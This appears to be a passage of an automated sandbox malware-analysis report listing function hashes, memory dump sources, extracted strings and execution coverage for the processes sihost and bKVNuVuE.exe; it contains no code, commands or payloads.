Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 86475b5124b17753b2bc754c6e1dcbe830c269be35b0b85ef8adb7818026b937
Instruction ID: 65fdb34b629369f59a46d279b3791e37046272be5c7d12b68cb7decedf2aa492
Opcode Fuzzy Hash: 86475b5124b17753b2bc754c6e1dcbe830c269be35b0b85ef8adb7818026b937
Instruction Fuzzy Hash: 38C1E674E00218CFDB14DFA5C894BADBBB2BF89300F2094A9D409AB359DB355E81CF50

Function 006734C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ad054746eb72b343fd5adfb05330df9f987067b5a36885f72dfb9f684cc6953d
Instruction ID: a7c9bc15906171b77c2441db0720ef267e2fb9d7fec0fbe3e7013040fbbf20c2
Opcode Fuzzy Hash: ad054746eb72b343fd5adfb05330df9f987067b5a36885f72dfb9f684cc6953d
Instruction Fuzzy Hash: 03C1E674E00218CFDB54DFA5C954BADBBB2BF89300F2085A9D409AB359DB355E85CF50

Function 0067C8D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e3389b618fe421197dedb2f1a15d2b363ddd00bd819131f43e365c2cc832a964
Instruction ID: 087d882372161875747b989843b9687751e813f6e01efbe5b3686364b6bf430b
Opcode Fuzzy Hash: e3389b618fe421197dedb2f1a15d2b363ddd00bd819131f43e365c2cc832a964
Instruction Fuzzy Hash: A5C1E674E00218CFDB54DFA5C995BADBBB2BF89300F2091A9D809AB359DB355E81CF50

Function 006741D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 67ab4167f52148d10b532c8c1172f6372635cab923d83fb8123ffd7a6e32cbdc
Instruction ID: f1d44de81d1fadbe2cc5dae8c2602f160a1d5111c0f0a2130417f10248a8b4a6
Opcode Fuzzy Hash: 67ab4167f52148d10b532c8c1172f6372635cab923d83fb8123ffd7a6e32cbdc
Instruction Fuzzy Hash: 68C1D574E01218CFDB14DFA5C994BADBBB2BF89300F2085A9D409AB359DB359E81CF50

Function 00674ED8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b19245ec7cf273df563264455a1194cf3c906c7b3d0d19c3f58010d2be1b5da5
Instruction ID: e3757cc665dd6fbc6a9678d1da10921f528763bbf006aeef7d88749096bb0489
Opcode Fuzzy Hash: b19245ec7cf273df563264455a1194cf3c906c7b3d0d19c3f58010d2be1b5da5
Instruction Fuzzy Hash: A9C1E674E01218CFDB54DFA5C894BADBBB2BF89300F2085AAD409AB359DB355E81CF50

Function 0067D5D8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fc0a27219ccf1b7f318cd8194f691283751572e9594d9a6083abc5659299fb2f
Instruction ID: 67db47ef2f3c579208e3b21f2bc7c660548f97ac332dd7fd2f476dac63f8143f
Opcode Fuzzy Hash: fc0a27219ccf1b7f318cd8194f691283751572e9594d9a6083abc5659299fb2f
Instruction Fuzzy Hash: 37C1E574E00218CFDB14DFA5C994BADBBB2BF89300F2085AAD409AB359DB355E81CF50

Function 00677EA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d1861bffe6e840b67f528811f9cf442871cd6e57af9feb808a3201c23ff4c86a
Instruction ID: 74decbd8bc00aeced23a418a4256fdae87b0dc99534f93031122c72a9a4c6a55
Opcode Fuzzy Hash: d1861bffe6e840b67f528811f9cf442871cd6e57af9feb808a3201c23ff4c86a
Instruction Fuzzy Hash: B4C1D574E00218CFDB54DFA5C954BADBBB2BF89300F2485A9D809AB359DB355E81CF50

Function 00678BA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: af72a8eb2b417d06e1f7dad7eb867f524a9b73597308c19643778096880a2fae
Instruction ID: 9e070c74a01bf5d537598c4912d65c79736cefcd5801df7e8e7fb7781c3845d2
Opcode Fuzzy Hash: af72a8eb2b417d06e1f7dad7eb867f524a9b73597308c19643778096880a2fae
Instruction Fuzzy Hash: 54C1E674E01218CFDB54DFA5C954BADBBB2BF89300F2085AAD809AB359DB355E81CF50

Function 006798B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f16f590f28ab6adefdab02c58264210d8893581e97b2796da3565af35388b4ef
Instruction ID: 537078e6357ec04443277130907ada8a79c11c28c683aa00c28412d249f307b5
Opcode Fuzzy Hash: f16f590f28ab6adefdab02c58264210d8893581e97b2796da3565af35388b4ef
Instruction Fuzzy Hash: 3BC1C374E00218CFDB14DFA5C994BADBBB2BF89300F2095A9D409AB359DB355E81CF50

Function 0067D180 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fc60aebc1e5036d22bd6de47d7a50e4f16a2d4c1145687742c372f18d6e6a0d1
Instruction ID: e83967b2152470faf72f385a4727a19355e306f0c1c21b828df951abc31dafc7
Opcode Fuzzy Hash: fc60aebc1e5036d22bd6de47d7a50e4f16a2d4c1145687742c372f18d6e6a0d1
Instruction Fuzzy Hash: 02C1E674E00218CFDB14DFA5C854BADBBB2BF89300F2095A9D409AB359DB359E81CF50

Function 00674A80 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2cd0b3ffe1438db3b3fd4c2a57f4551e606bc47be3ee35a3837bb6b922430d6a
Instruction ID: 09b6cac8ae0e670b7be9e4ce55e42ca55258934555e0329c8936360750efdef1
Opcode Fuzzy Hash: 2cd0b3ffe1438db3b3fd4c2a57f4551e606bc47be3ee35a3837bb6b922430d6a
Instruction Fuzzy Hash: DEC1D574E01218CFDB14DFA5C954BADBBB2BF89300F2095A9D409AB359DB359E81CF50

Function 00675788 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a57bf0fbe7eeb3eed6af24a8d7a66a277d4a8642fbe1163cc4dd6031969d206c
Instruction ID: e893f5527538b04b4d04e732c3af1ba7af986b8fce2dc607f24c3a78bceeb5a6
Opcode Fuzzy Hash: a57bf0fbe7eeb3eed6af24a8d7a66a277d4a8642fbe1163cc4dd6031969d206c
Instruction Fuzzy Hash: 46C1E574E00218CFDB54DFA5C994BADBBB2BF89300F2084AAD409AB359DB355E81CF50

Function 00676490 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 65aae63eb2a5f4d455f26d81848dc9ac9f5a2287290b90f280172430bb408ac2
Instruction ID: c7ceb60c3220e7d2d26b551acd0cc3e382e788d573eb13a94604663ba1d322bc
Opcode Fuzzy Hash: 65aae63eb2a5f4d455f26d81848dc9ac9f5a2287290b90f280172430bb408ac2
Instruction Fuzzy Hash: 0DC1E674E00218CFDB54DFA5C954BADBBB2BF89300F2085AAD409AB359DB355E81CF50

Function 00677198 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 132c24dd39ab4129394593d4a0b05575c322be1f649a68b4469615a4428b97e3
Instruction ID: f1f4c77cba505ca7246b4fa4c70db1745746e875fef66c43d568b8d649f53493
Opcode Fuzzy Hash: 132c24dd39ab4129394593d4a0b05575c322be1f649a68b4469615a4428b97e3
Instruction Fuzzy Hash: 0AC1D674E00218CFDB54DFA5C994BADBBB2BF89300F2095A9D809AB359DB355E81CF50

Function 00493BF8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c32f9b816a7964cad63e3e75245edc1bc38abf435d8f909d4201e2ce29226fa
Instruction ID: 8237028e6e7c51acada117fa0e6211364117b5bacdc59462c0cda93e6fe31626
Opcode Fuzzy Hash: 4c32f9b816a7964cad63e3e75245edc1bc38abf435d8f909d4201e2ce29226fa
Instruction Fuzzy Hash: 2CC1D574E00218CFDB54DFA5C994BADBBB2BF89300F2091AAD409AB359DB355E81CF50

Function 009D2B00 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e70209d92e7f45acc4ee40b6daea5c074167a90a5cbc37a0490142d9667d948
Instruction ID: 889e732d3255eb8e11929fa1412cfef36141858a26a95be30224506d468dcc70
Opcode Fuzzy Hash: 0e70209d92e7f45acc4ee40b6daea5c074167a90a5cbc37a0490142d9667d948
Instruction Fuzzy Hash: 27B19774E00218CFDB54DFA9D984A9DBBB2FF89314F2481A9D819AB365DB30AD41CF50

Function 009D7FD3 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06863d7e2151ae9e4dac9de1bfe965ee99dc512a6bf65317f66ecc4aa4a12c0a
Instruction ID: 132f1f20629e2f871a3824929b511d83756229b7975ed51a31da3b684ceac295
Opcode Fuzzy Hash: 06863d7e2151ae9e4dac9de1bfe965ee99dc512a6bf65317f66ecc4aa4a12c0a
Instruction Fuzzy Hash: 3791F578900229CFDB29DF64DC51BA9BBB2BB48304F2095EAD80963359CF359E91CF50

Function 009D29CE Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a891d8c001b42db00888e003218ae3963d13b088cc46313fb53a0e3e34a2b117
Instruction ID: e03f9fb036b4ea9d86c6d897aaff6160a28908e886b6352c344f9b4a3ff73c9c
Opcode Fuzzy Hash: a891d8c001b42db00888e003218ae3963d13b088cc46313fb53a0e3e34a2b117
Instruction Fuzzy Hash: 79713B74E452888FCB05CFB9C995A9DBFF2BF9A300F1880AAD445AB356D7345842CF11

Function 009D2A50 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6edd9f400e4bf537660a573c4d27cd9fae08ab7d98f38ffd5129a6229f1aa66
Instruction ID: 5da8be99ce4bddbadb35dae25b7804856c3f024f500ae76ab0e3685c429b4c50
Opcode Fuzzy Hash: f6edd9f400e4bf537660a573c4d27cd9fae08ab7d98f38ffd5129a6229f1aa66
Instruction Fuzzy Hash: 91712A74E457888FCB04CFBAC995A9DBFF2AF99300F24806AD445AB366DB345842CF15

Function 00367201 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e1743f137f5e327e42254f39f9f38b2148523f17b349b19e20f4f0ebccfd6d0
Instruction ID: 0ba23f5763195b82780097681ed2f26b87e3727f685d3420b79cdfad39abfe1b
Opcode Fuzzy Hash: 9e1743f137f5e327e42254f39f9f38b2148523f17b349b19e20f4f0ebccfd6d0
Instruction Fuzzy Hash: 9251B274A01228DFCB65DF24D854BADB7B2BF4A301F6095EAD409A7354CB319E81CF50

Function 009D2E16 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ff24e2b979c8aa1268fce35102246ccc2ffaf48435d955867f981d668564c5e
Instruction ID: 5e618c3552cee92fcf1f23568f4354dde87c772c560d3afb0f217bcb5098a14e
Opcode Fuzzy Hash: 5ff24e2b979c8aa1268fce35102246ccc2ffaf48435d955867f981d668564c5e
Instruction Fuzzy Hash: 74D09E74E58358DACF10DFA8E8407ADB771BB45305F2028E6D108B3610D7319E508E56

Analysis Process: bKVNuVuE.exePID: 3712, Parent PID: 3636COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	105
Total number of Limit Nodes:	5

Executed Functions

Function 00219CA8 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00219ED3
Tep, xrefs: 00219D11
:dJ, xrefs: 00219E53

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: :dJ$Tep$Tep
API String ID: 0-366135230
Opcode ID: 54ddac80e5de4b048137af5de9a1620cc77a462f8f0461135b3988c4a83b78e0
Instruction ID: e94899f0756d644e403da99a4b66512fd0677e747ad025d05ae6f6b87a109689
Opcode Fuzzy Hash: 54ddac80e5de4b048137af5de9a1620cc77a462f8f0461135b3988c4a83b78e0
Instruction Fuzzy Hash: F181E5B4E102088FDB08DFAAD9906DEFBF2FF89300F24942AD415AB254D7749945CF64

Function 0021C1C8 Relevance: 2.8, Strings: 2, Instructions: 278
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0%p1, xrefs: 0021C358
0%p1, xrefs: 0021C351

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: 0%p1$0%p1
API String ID: 0-3740086479
Opcode ID: ecf4a6357148ee3a2207e68feb485c75309e1654f644fab8f50eb7aa0e0d3ebb
Instruction ID: b24d0ea9e945611727785e310da47089b79f4e07a50f0a905c4d428dad48111d
Opcode Fuzzy Hash: ecf4a6357148ee3a2207e68feb485c75309e1654f644fab8f50eb7aa0e0d3ebb
Instruction Fuzzy Hash: 59C13A74E5420ADFCB08CF99C4808EEFBB2FF99340B249559D415A7214D734AA92CF94

Function 0021F080 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

Z, xrefs: 0021F232

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-1862792848
Opcode ID: 5638ee15189bb84f152fb66871d12da2af47ac99e6e408b473a09c7956337901
Instruction ID: 79ad03653ef44010f3d48b166f638290eccb65d5a96472ab1259d7e6a39fcc8c
Opcode Fuzzy Hash: 5638ee15189bb84f152fb66871d12da2af47ac99e6e408b473a09c7956337901
Instruction Fuzzy Hash: 84913374E20219DFCB44DFA9C9808EEFBB2FF98300F10986AD425B7218D3749A568F54

Function 0021E910 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19f9e90ff389e4678e99c11d876598db4dde1ff3c53d31c7be8e5724c70510f8
Instruction ID: 54fe2f07fb52ba1a7baca6ad3bc1bc336028b5dab0182602e403f8f5b2ba4336
Opcode Fuzzy Hash: 19f9e90ff389e4678e99c11d876598db4dde1ff3c53d31c7be8e5724c70510f8
Instruction Fuzzy Hash: ED411270E10508EFCB48DF9AD88489DFBF1FF99300B26C0E6D8589B224D731AA558B00

Function 002129FC Relevance: 16.5, Strings: 13, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XXp, xrefs: 00212AF4
$p, xrefs: 00212D80
Tep, xrefs: 00212B39
XXp, xrefs: 00212A97
$p, xrefs: 00212CBC
XXp, xrefs: 002129C2
XXp, xrefs: 00212AE4
$p, xrefs: 00212BB9
fp, xrefs: 00212DD9
$p, xrefs: 00212CDE
fp, xrefs: 00212CAC
XXp, xrefs: 002129FB
XXp, xrefs: 00212B2B

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$XXp$XXp$XXp$XXp$XXp$$p$$p$$p$$p
API String ID: 0-748399701
Opcode ID: 1466a26a133ce4a83943ebd348495deee333a0a4df6d85efcf9a668b3371a208
Instruction ID: e7a7f6c8c13ac0720256c9a4cd65a0db0c00a3285f8953a8b400d2c6665e65dd
Opcode Fuzzy Hash: 1466a26a133ce4a83943ebd348495deee333a0a4df6d85efcf9a668b3371a208
Instruction Fuzzy Hash: EAA19030A24248CFDB148F98D445BEDBBF2BFA4305F258056F5029B295CBB09DE9DB81

Function 00212B76 Relevance: 14.0, Strings: 11, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00212D80
fp, xrefs: 00212DD9
Tep, xrefs: 00212B39
$p, xrefs: 00212CCA
$p, xrefs: 00212CDE
$p, xrefs: 00212BC9
$p, xrefs: 00212CBC
fp, xrefs: 00212CAC
Tep, xrefs: 00212B45
XXp, xrefs: 00212B2B
$p, xrefs: 00212BB9

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$Tep$XXp$$p$$p$$p$$p$$p$$p
API String ID: 0-1748866375
Opcode ID: ef52bb34313903da3aba851e5a0e1e0d71aa73993926be28e4b9e3acf387e0bd
Instruction ID: 838102aa41aa136555fe226726503c44798f10ebac9deccf0f66e5efbf8ccc94
Opcode Fuzzy Hash: ef52bb34313903da3aba851e5a0e1e0d71aa73993926be28e4b9e3acf387e0bd
Instruction Fuzzy Hash: 65918F30A24258CFCB188F58D445BEDBBF2BFA0304F698056F4029B295DB70DDA6DB80

Function 00212B27 Relevance: 10.2, Strings: 8, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00212D80
fp, xrefs: 00212DD9
Tep, xrefs: 00212B39
$p, xrefs: 00212CDE
$p, xrefs: 00212CBC
fp, xrefs: 00212CAC
XXp, xrefs: 00212B2B
$p, xrefs: 00212BB9

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$$p$$p$$p$$p
API String ID: 0-3004817860
Opcode ID: a04f6553eaea890c5926255be68669b378274f6f9119a2888518d6695107deef
Instruction ID: 8aa998dbf490371f4ae451f3b18bccb3faa1563570a95cd98daccab132f05970
Opcode Fuzzy Hash: a04f6553eaea890c5926255be68669b378274f6f9119a2888518d6695107deef
Instruction Fuzzy Hash: 8071A230A28218CFCB248F54D445BEDBBF2BBA0305F698156F5025B295DBB09DF9DB81

Function 00212B0E Relevance: 10.2, Strings: 8, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00212D80
fp, xrefs: 00212DD9
Tep, xrefs: 00212B39
$p, xrefs: 00212CDE
$p, xrefs: 00212CBC
fp, xrefs: 00212CAC
XXp, xrefs: 00212B2B
$p, xrefs: 00212BB9

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$$p$$p$$p$$p
API String ID: 0-3004817860
Opcode ID: 749bd323d3dac9348d971236d7f3df40ab92d6d5b5b141e9338973377b3aeeac
Instruction ID: e5ad66dffe3a9c43c3b898777fe1543d61c14dd9492a8949cac9bdfd9162a755
Opcode Fuzzy Hash: 749bd323d3dac9348d971236d7f3df40ab92d6d5b5b141e9338973377b3aeeac
Instruction Fuzzy Hash: 6E719030A28218CFDB248F54D445BEDBBF2BBA0305F298156F5025B295DBB09DF9DB81

Function 00215171 Relevance: 7.7, Strings: 6, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 0021522E
pT!, xrefs: 0021539E, 002153C1
$p, xrefs: 002151BE
Tep, xrefs: 00215373
$p, xrefs: 00215222
$p, xrefs: 002151CA

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$pT!$$p$$p$$p$$p
API String ID: 0-1890783977
Opcode ID: fa2a4361cb8e9d08f571a1c9ddc4ae0d217f8434e1f000d0dbc58d4a8609f141
Instruction ID: 9e0916bed30ff0cf898dafc782b8495a4934bd831ff3d270df44376472682a3c
Opcode Fuzzy Hash: fa2a4361cb8e9d08f571a1c9ddc4ae0d217f8434e1f000d0dbc58d4a8609f141
Instruction Fuzzy Hash: 05819234720615DFD7289F69D858BAE77E2EFE8341F2444A9E406DB3A5DEB08C91CB40

Function 00215138 Relevance: 3.9, Strings: 3, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00215314
pT!, xrefs: 0021539E, 002153C1
Tep, xrefs: 00215373

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$Tep$pT!
API String ID: 0-4219933926
Opcode ID: abc45506fa6dfe2ab486abed66255b9074a29feffbe3afd351332536169e35b1
Instruction ID: e76a3f4a3142bb18bbefe60aefe894310570a6d021f650b756f9f3fff7faa95a
Opcode Fuzzy Hash: abc45506fa6dfe2ab486abed66255b9074a29feffbe3afd351332536169e35b1
Instruction Fuzzy Hash: 15718E34730A14DFDB249F68D8587AE77E2ABE8341F2444A9E416C73A4CEB08C95CB41

Function 00215478 Relevance: 2.7, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pT!, xrefs: 0021539E, 002153C1
Tep, xrefs: 00215373

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$pT!
API String ID: 0-2144713336
Opcode ID: c24e89d836bfde20f407065442fd994d2a8889bfcccd8ffbeb74a49a06042e7d
Instruction ID: 927f0db3bd96fd02083b55f274d3da40cc06781bbfef6e0274f990034b1edae4
Opcode Fuzzy Hash: c24e89d836bfde20f407065442fd994d2a8889bfcccd8ffbeb74a49a06042e7d
Instruction Fuzzy Hash: 73617E38B20A15DFDB249F64D8587AD77F2ABE8342F2444A9E406C73A1CAB48CD5CB41

Function 0021515E Relevance: 2.7, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pT!, xrefs: 0021539E, 002153C1
Tep, xrefs: 00215373

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$pT!
API String ID: 0-2144713336
Opcode ID: 05903d6b645a03750c6958d51e292229e2ad2af1ec59f5e9ef838c8de2199ec7
Instruction ID: 6f9243f50a9486218897ca67f170dafaca0afbe85d5e161cb8032ca28f654f48
Opcode Fuzzy Hash: 05903d6b645a03750c6958d51e292229e2ad2af1ec59f5e9ef838c8de2199ec7
Instruction Fuzzy Hash: 0B517B38720A15DFDB249F68D8587AD77F2EFE8342F2444A9E406D73A5CAB08C95CB41

Function 002154C4 Relevance: 2.7, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pT!, xrefs: 0021539E, 002153C1
Tep, xrefs: 00215373

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

